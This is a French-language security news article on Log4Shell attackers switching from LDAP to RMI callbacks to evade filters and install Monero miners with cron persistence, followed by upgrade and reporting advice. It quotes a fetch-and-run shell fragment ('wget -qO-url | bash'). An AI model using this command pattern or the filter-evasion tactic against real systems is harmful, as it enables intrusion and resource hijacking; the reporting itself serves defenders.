Certains acteurs malveillants exploitant la vulnérabilité Apache Log4j sont passés des URL de rappel LDAP à RMI ou ont même utilisé les deux dans une seule requête pour un maximum de chances de succès.
Ce changement est une évolution notable dans l’attaque en cours et dont les défenseurs doivent être conscients lorsqu’ils tentent de sécuriser tous les vecteurs potentiels.
Pour l’instant, cette tendance a été observée par les acteurs de la menace cherchant à détourner des ressources pour l’exploitation minière de Monero, mais d’autres pourraient l’adopter à tout moment.
De LDAP à RMI
La plupart des attaques ciblant la vulnérabilité Log4j « Log4Shell » ont eu lieu via le service LDAP (Lightweight Directory Access Protocol).
Le passage à l’API RMI (Remote Method Invocation) semble au premier abord contre-intuitif, considérant que ce mécanisme est soumis à des contrôles et contraintes supplémentaires, mais ce n’est pas toujours le cas.
Certaines versions de JVM (Java Virtual Machine) ne comportent pas de politiques strictes et, en tant que tel, RMI peut parfois être un canal plus simple pour atteindre RCE (exécution de code à distance) que LDAP.
De plus, les requêtes LDAP sont désormais consolidées dans le cadre de la chaîne d’infection et sont plus étroitement surveillées par les défenseurs.
Par exemple, de nombreux outils IDS/IPS filtrent actuellement les demandes avec JNDI et LDAP, il est donc possible que RMI soit ignoré à ce stade.
Source : Laboratoires Juniper
Dans certains cas, Juniper a vu à la fois les services RMI et LDAP dans la même requête HTTP POST.
Cependant, pour tous les acteurs qui tentent d’abuser de la vulnérabilité Log4Shell, l’objectif reste le même – envoyer une chaîne d’exploitation à traiter par le serveur Log4j vulnérable, conduisant à l’exécution de code sur la cible.
L’attaque ci-dessus provoque la génération d’un shell bash qui télécharge un script shell à partir d’un serveur distant.
« Ce code appelle une commande shell bash via le moteur de script JavaScript, en utilisant la construction « $@|bash » pour exécuter le script téléchargé », explique le Rapport de Juniper Labs
« Pendant l’exécution de cette commande, le shell bash dirigera les commandes de l’attaquant vers un autre processus bash : « wget -qO-url | bash », qui télécharge et exécute un script shell sur la machine cible. »
Le détournement de ressources pour gagner de l’argent
Dans les attaques vues par Juniper Labs, les acteurs de la menace s’intéressent à l’exploitation minière de Monero sur les serveurs compromis et le présentent comme une activité presque inoffensive qui « ne fera de mal à personne d’autre ».
Source : Laboratoires Juniper
Le mineur cible les systèmes Linux x84_64 et ajoute de la persistance via le sous-système cron.
Bien que la plupart des attaques aient jusqu’à présent ciblé les systèmes Linux, Rapports des points de contrôle que ses analystes ont découvert le premier exécutable Win32 qui exploite Log4Shell, appelé « StealthLoader ».
Localiser, mettre à jour, signaler
Le seul moyen possible de se défendre contre ce qui est devenu l’une des vulnérabilités les plus percutantes de l’histoire récente est de mettre à niveau Log4j vers version 2.16.0.
De plus, les administrateurs doivent surveiller de près la section de sécurité d’Apache pour les annonces de nouvelles versions et les appliquer immédiatement.
Pour obtenir des conseils d’atténuation et des ressources d’informations techniques complètes, consultez La page détaillée du CISA sur Log4Shell.
Il existe une longue liste de produits affectés par CVE-2021-44228, et une liste avec des avis fournis par les fournisseurs est constamment mise à jour sur ce référentiel GitHub.
Enfin, si vous remarquez une activité suspecte sur vos systèmes, pensez à la signaler au FBI ou CISA, qui travaillent fébrilement pour contenir les dégâts et remédier à la situation.